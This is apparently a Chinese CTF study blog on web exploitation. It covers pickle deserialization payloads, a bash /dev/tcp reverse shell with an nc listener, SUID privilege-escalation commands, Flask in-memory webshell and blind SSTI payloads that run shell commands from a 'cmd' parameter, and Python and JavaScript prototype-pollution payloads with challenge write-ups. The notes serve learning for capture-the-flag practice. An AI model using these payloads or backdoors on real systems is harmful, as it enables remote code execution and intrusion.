[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web2]ikun) ikun

要买到lv6,然而当前页面上没有lv6,就循环爆破出有 lv6.png 的页面

1
2
3
4
5
6
7
8
9
import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
# print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break

发现之后抓包改折扣,购买完之后发现只允许admin访问,然后看到使用了JWT

爆破key,发现密码是 1Kun

username改成admin后构造再访问,然后给了代码审计,发现用了pickle.loads(),直接打pickle反序列化即可

1
2
3
4
5
6
7
8
9
10
import pickle
from urllib.parse import quote

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = quote(a)
print(a)

反弹shell

https://www.bilibili.com/video/BV1K274zmEur/?spm_id_from=333.1387.homepage.video_card.click

nc -lvp 9999

nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口!

1
2
3
-l 监听模式,用于入站连接
-v 详细输出--用两个-v可得到更详细的内容
-p port 本地端口号

bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

bash -i代表在本地打开一个bash

&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出

————————————————

  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
  • 在/dev/tcp/ip/port后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了
    那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

SUID提权

1
2
3
find /-user root -perm-4000 -print 2>/dev/null
find /-perm -u=s -type f 2>/dev/null
find /-user root -perm -4000 -exec ls -ldb {}\;

什么是SUID?

Linux下文件权限分为 r4 w2 x1分别对应可读,可写,可执行

  • 当 SUID 位被设置在一个可执行文件上时,该文件在执行期间,进程的有效用户 ID(EUID)会被设置为该文件所有者的用户 ID。例如,一个属于 root 用户的文件,如果设置了 SUID 位,当普通用户执行这个文件时,这个执行进程的 EUID 就是 root
  • 有效用户 ID 决定了进程在执行过程中对系统资源访问的权限。这就意味着,如果一个程序需要更高权限(通常是 root 权限)才能完成某些特定的操作,通过设置 SUID 位,普通用户在运行这个程序时也能临时获得该程序所有者的权限来执行这些操作

root权限一般是3位,就比如说是什么644(所属者-所属组-other)

而sudo的权限可以是4位比如7644

然后就是SUID文件只作用于二进制文件

内存马

深入浅出内存马(一) - 风炫安全 - 博客园

新版FLASK下python内存马的研究 - gxngxngxn - 博客园

flask不出网回显方式 - Longlone’s Blog

Python Flask内存马的另辟途径-先知社区

什么是内存马

内存马,即无文件型WebShell,常规Webshell比如一句话木马,都是通过将文件传入靶机里,然后可以通过蚁剑等webshell工具来连接,从而可以访问内部的文件,但是直接传个文件未免有点过于明目张胆了,很容易被查杀,所以这就有了一个新的上传WebShell的方式:内存马,通过在网站中注册一个新的路由,通过新的路由来进行攻击

原理

(Java也没学,那我先放着)

Flask下应用

Debug模式下利用报错

Flask如果开启debug=True模式的话,如果报错了就会显示详细信息,如果题目在eval之后没有回显,可以利用手动控制报错的方式来让命令回显到报错页面上

1
exec("raise Exception(__import__('os').popen('whoami').read())")

非Debug模式下利用

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度

老方法是,利用add_url_rule来创建后门路由

1
2
3
import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())

但是在新版本Flask中,通过add_url_rule来创建路由的方法已经不再适用,取而代之的是before_requestafter_request

先来看before_request,通过跟进app.before_request可以发现,before_request调用了self.before_request_funcs.setdefault(None, []).append(f)

可以发现,f是可以自定义的,所以如果我们给f传入一个匿名函数,是不是就可以调用了呢

1
lambda:__import__('os').popen('whoami').read()

这样每次发起请求前,就可以触发这个匿名函数了,结合老版本的payload,可以写出新版的payload:

1
eval("__import__('sys').modules['__main__'].__dict__['app'].before_requests_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())")

好了,现在知道了before_request的使用方法,再来看after_request就很简单了,同样是跟进,能发现:

从这里的The function is called with the response object, and must return a response object可以知道,这里的f需要接收一个response对象,同时返回一个response对象

但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response,对应payload可以为:

1
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)

如果没有导入包的情况,就用:

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

这点在下面的无回显SSTI中有所体现

接下来是errorhandlererrorhandler在当Http的404页面不存在的时候被调用,结合直接在Debug模式下通过控制404页面获得回显的方法,是不是嗅到了一丝内存马的味道,以下是基本利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
return 'Hello, World!'

@app.errorhandler(404)
def error(e):
print('404')
print(e)
return '404 Not Found'

if __name__ == '__main__':
app.run()

还是老样子,跟进试试

可以看到,exc_classcode这两个变量,通过分析代码可知,code就是404,exc_class是一个对象,f就是返回值,然后又可以看到exc_classcode是通过_get_exc_class_and_code来获取的,而exc_class直接从异常中取得,不太好构造,那就可以尝试构造codef

1
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

访问不存在的路径触发即可

附带Pickle代码:

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

无回显SSTI

题目 - MoeCTF 2025 第二十二章 血海核心·千年手段

他执行完之后这个返回值没有用到

最终返回的是这个login_msg

login_msg的内容是这个,所以是原样输出了,可以理解成这里是个盲ssti,没有回显的

https://blog.csdn.net/2301_80552914/article/details/144565609?sharetype=blog&shareId=144565609&sharerefer=APP

1
?username={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&password=1&cmd=ls /

后面就是提权问题了,但是不会,就这样吧…..()

XSleaks

简介+原理(利用条件)+例题

原型链污染

原理

xz.aliyun.com/news/12518

Python原型链污染从基础到深入 - Rycarls little blog

Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园

Python原型链污染

Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法

  • 原型继承特性
    Python中每个对象通过__class__属性指向其所属类,类通过__base__属性指向父类。当访问对象属性时,若当前对象/类中未定义,会沿原型链向上查找
  • 污染条件
    需要存在递归合并函数(如merge)且未对特殊属性过滤

来看一段代码:(很典型的原型链污染标志)

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值

如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历


__getitem__ 是一个特殊的方法。它是对象的索引操作符重载方法,主要用于定义当使用方括号 [] 对象访问元素时的行为。当你尝试访问像 object[key] 这样的元素时,Python 会调用 __getitem__ 方法(索引如my_list[0]


污染分析(经典例子)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

我们打断点看看

第一步的时候,由于dst中没有__getitem__属性,所以跳到elif进行

此时k变成__class__,v变成{'__base__':{'secret':'world'}}

然后从递归进入第二次循环,这次提取dst中的__base__给k,那么v就等于{'secret':'world'}

由于dst中没有__getitem__属性,所以跳到elif进行,递归进入第三次循环

此时k就应该等于secret,v等于secret

由于dst中没有__getitem__属性,所以跳到elif进行,但是这次的v也不再是个字典,所以跳到else中进行setattr的操作,这是成功将k,v赋值给father类中的键值对,成功污染

(实际上就是一层层向上爬)

当然,也有不能污染的,比如Object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__class__" : {
"__str__" : "Polluted ~"
}
}

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'

利用
获取全局变量

原理

__init__作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间

可以用这一段来看

1
2
3
4
5
6
7
a=1
def demo():
pass
class A :
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)

接下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mihomo = 114514

def Genshin():
pass

class Honkai():
music = "Proi"

class ZZZ():
def __init__(self):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

StarRailway = ZZZ()


payload = {
"__init__" : {
"__globals__" : {
"mihomo" : 1919810,
"Honkai" : {
"music" : "jiaojiao"
}
}
}
}

print(Honkai.music)
print(mihomo)

merge(payload,StarRailway)

print(Honkai.music)
print(mihomo)

成功获取并污染全局变量

sys模块加载

sys模块的modules属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

这里给到两个模块

1
2
3
4
5
6
7
#test_1.py

secret_var = 114

class target_class:
secret_class_var = "secret"

然后另一个模块导入这一模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#test.py

import test_1
import sys

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

加载器loader获取

loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块

对于一个模块来说,模块中的一些内置属性会在被加载时自动填充

__loader__内置属性会被赋值为加载该模块的loader,这样只要能获取到任意的模块便能通过__loader__属性获取到loader,而且对于python3来说除了在debug模式下的主文件中__loader__None以外,正常执行的情况每个模块的__loader__属性均有一个对应的类

另外Python还存在一个__spec__内置函数,包含了关于类加载时候的信息,可以直接用

<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

形参默认值替换

分为__defaults____kwdefaults__

1
2
3
4
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)

(Python中带有默认值的参数必须位于不带默认值的参数之后)

元组:(有序的、不可变的序列类型

1
2
3
my_tuple = (1, 2, "hello", [3, 4, 5])
print(my_tuple[0]) # 输出 1
print(my_tuple[-1]) # 输出 [3, 4, 5]

然后就是可以对函数进行默认值的替换

前提是要替换的值是元组的形式:

1
2
3
4
5
6
7
8
9
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}

另一个则是以字典形式替换:

1
2
3
4
5
6
7
8
9
10
11
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
_got_first_request:

用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用:

所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request下面的可用信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")

before_first_request修饰的init函数只会在第一次访问前被调用,而其中读取flag的逻辑又需要访问路由/后才能触发,这就构成了矛盾。所以需要使用payload在访问/后重置_got_first_request属性值为假,这样before_first_request才会再次调用

Payload:

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}

init函数被触发,且其中读取flag的相关逻辑被执行,这样就获得了flag

_static_url_path:

当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向

1
2
3
4
5
6
7
#static/index.html

<html>
<h1>Tech Otakus Save The World</h1>
<body>
</body>
</html>

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

payload:

1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
os.path.pardir:

os.path.pardir 是 Python 中 os.path 模块的一个常量,它代表当前目录的父目录(即上一级目录)。在文件系统中,os.path.pardir 通常对应于字符串 ..

环境:

1
2
3
4
5
6
7
#templates/index.html

<html>
<h1>Tech Otakus Save The World</h1>
<body>
</body>
</html>

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#app.py

from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

app.run(host="0.0.0.0")

这里的话你进行一个目录穿梭比如:

../1.py这样子的会报错,因为python里的split_template_path如果发现..就会报错或者直接不允许穿越,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了

payload:

1
2
3
4
5
6
7
8
9
10
11
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

JavaScript原型链污染

js原型污染 · zIxyd’s Blog

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型。JavaScript 使用原型继承模型,这与许多其他语言使用的基于类的模型有很大不同。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。例如,字符串会自动分配内置的String.prototype. 您可以在下面看到这些全局原型的更多示例:

1
2
3
4
5
6
7
8
9
10
11
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype

let myString = "";
Object.getPrototypeOf(myString); // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype

对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象

内置原型提供了用于处理基本数据类型的有用属性和方法。例如,String.prototype对象有一个toLowerCase()方法。因此,所有字符串都会自动有一个现成的方法将它们转换为小写。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中

对象继承是如何工作的?

每当您引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它

由于实际上 JavaScript 中的所有内容都是底层的对象,因此这条链最终会回到顶层Object.prototype,其原型很简单null

利用__proto__访问

你可以这样访问:

1
2
username.__proto__
username['__proto__']

甚至可以链接引用以__proto__沿着原型链向上工作:

1
2
3
username.__proto__                        // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

E.g

1
2
3
4
5
6
7
8
function Teacher(name,age,gender,subject){
Person.call(this,name);
Person.call(this,age);
Person.call(this,gender);
this.subject=subject;
}
Teacher.prototype=new Person();
console.log(Teacher.prototype);

这里的Person就是外部定义的一个类

创建一个构造函数Teacher,其中调用Person.call运行Person构造函数对Teacher中的this.name赋值,new Person() 会创建一个新的对象,并且这个对象的内部原型是 Person.prototype。将这个新对象赋值给 Teacher.prototype 后,Teacher 构造函数的原型对象就拥有了 Person 的原型属性和方法:

原型链污染

当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象时,通常会出现原型污染漏洞。这可以允许攻击者注入带有类似__proto__的键的属性,以及任意嵌套的属性

由于__proto__在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以用包含恶意值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用

__proto__ 是 JavaScript 中一个对象属性,用于访问该对象的原型对象

__proto__ 可以用于手动改变对象的原型,例如,当你想让一个已有的对象继承另一个对象的属性和方法时,可以使用它来改变原型

1. prototype 属性

  • 定义:每个函数都有一个 prototype 属性,它是一个对象。当你通过构造函数创建一个新对象时,这个新对象会继承构造函数的 prototype 对象
  • 用途
    • 用于定义构造函数的原型对象,该原型对象包含所有实例共享的属性和方法
    • 实现继承:通过将一个构造函数的 prototype 设置为另一个构造函数的实例,可以实现继承
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 定义构造函数
function Person(name, age) {
// 实例属性
this.name = name;
this.age = age;
}

// 在构造函数的 prototype 上定义共享方法
Person.prototype.sayHello = function() {
console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
};

// 创建实例
const person1 = new Person("Alice", 25);
const person2 = new Person("Bob", 30);

// 调用共享方法
person1.sayHello(); // 输出: Hello, my name is Alice and I am 25 years old.
person2.sayHello(); // 输出: Hello, my name is Bob and I am 30 years old.

2. __proto__ 属性

  • 定义:每个对象都有一个 __proto__ 属性,它指向创建该对象的构造函数的 prototype 对象。__proto__ 是对象的内部原型引用
  • 用途
    • 用于访问对象的原型对象
    • 在原型链查找中,JavaScript 引擎会通过 __proto__ 属性向上查找属性和方法
1
2
3
4
5
6
7
8
9
10
function Person(name) {
this.name = name;
}

Person.prototype.sayName = function() {
console.log(this.name);
};

const person1 = new Person("Alice");
console.log(person1.__proto__ === Person.prototype); // true
Json输入造成污染

用户可控的对象通常是使用该JSON.parse()方法从 JSON 字符串派生的。有趣的是,JSON.parse()还将 JSON 对象中的任何键视为任意字符串,包括__proto__. 这为原型污染提供了另一个潜在载体。

假设攻击者通过网络消息注入以下恶意 JSON:

1
2
3
4
5
{
"__proto__": {
"evilProperty": "payload"
}
}

如果通过该方法将其转换为 JavaScript 对象JSON.parse(),则生成的对象实际上将具有一个带有 key 的属性__proto__

1
2
3
4
5
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

console.log(objectLiteral.hasOwnProperty('__proto__')); // false
console.log(objectFromJson.hasOwnProperty('__proto__')); // true

hasOwnProperty函数是JavaScript中的一个内置函数,用于检查对象自身是否包含指定的属性(即不包括从原型链继承的属性)

绕过过滤了__proto__的污染

假如一开始payload:

1
2
3
"__proto__":{
"json spaces":10
}

没有反应

可以用constructor.prototype === __proto__绕过

1
2
3
4
5
"constructor": {
"prototype": {
"json spaces":10
}
}
PS

其实Javascript也不是所有都要用到__proto__的,这点在下面的例题中有所体现

例题

NCTF2024 ez_dash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

先看到这个set,来看看是如何工作的

可以发现set按顺序赋值,然后你传入一个对象、属性名、值就可以更改掉其属性的值

E.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pydash

class miHoYo:
def __init__(self):
self.name = "Honkai"
self.game = "3rd"

m = miHoYo()

print(f"before changing : {m.game}")

pydash.set_(m,"game","StarRailway")

print(f"after changing : {m.game}")

可以看到结果:

源码前面给了hint,所以下一步我们应该污染参数而读取environ

而源码中没有什么可以读取environ的途径,然后看到下面的bottle.template(path)返回了一个值,跟进看看

1
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)

lookup的搜索路径是TEMPLATE_PATH这个对象,然后看看TEMPLATE_PATH

1
TEMPLATE_PATH = ['./', './views/']

默认的TEMPLATE_PATH['./', './views/']

其实到这里不继续深入的话就已经猜到可能是更改TEMPLATE_PATH默认的这个路径,让lookup去查找然后再由bottle.template渲染即可

1
../../../../proc/self/

返回源码看set_value()

1
2
3
4
5
6
7
8
9
10
11
12
13
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

payload应该是

1
setval.__globals__.bottle.TEMPLATE_PATH=['../../../../proc/self/']

但是pydash是不允许修改globals属性的,但是在helpers.py中

1
RESTRICTED_KEYS = ("__globals__","__builtins__")

所以我们先污染这个值之后再污染path即可

payload:

1
2
3
4
5
6
7
8
setValue?name=pydash

{"path":"helpers.RESTRICTED_KEYS","value":"[]"}

setValue?name=setval

{"path":"__globals__.bottle.TEMPLATE_PATH","value":"../../../../proc/self/"}

Mini L-CTF 2025 - 西电 CTF 终端 Clickclick

源码拉到最下面可以看到:

1
2
3
4
5
6
7
8
Qt(o, i => {
w(e) >= 1e3 && i(l)
}

h.textContent = `
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
`,

就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)

然后看到:

1
2
3
4
5
6
7
8
9
10
11
12
function wn(t, e) {
ce(e, !1);
const r = "/update-amount";
let n = Wr(e, "count", 12);
Jr();
var s = mn();
s.__click = [yn, n, r];
var o = Pt(s);
Tr( () => $r(o, `count is ${n() ?? ""}`)),
ct(t, s),
he()
}

这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000

那么怎么知道原链呢,看看事件监听器那边的click

1
2
3
4
5
6
7
8
9
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]OtenkiGirl) OtenkiGirl

NewStar2023 web-week3-wp - Eddie_Murphy - 博客园

这里有一个值得注意的点:

1
2
3
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);

这是什么意思呢,结合注释能看出来,

首先声明了一个变量minTimestamp,将其初始化为CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time的日期对象的时间戳。这里的CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time表示了movie的最小公开时间。

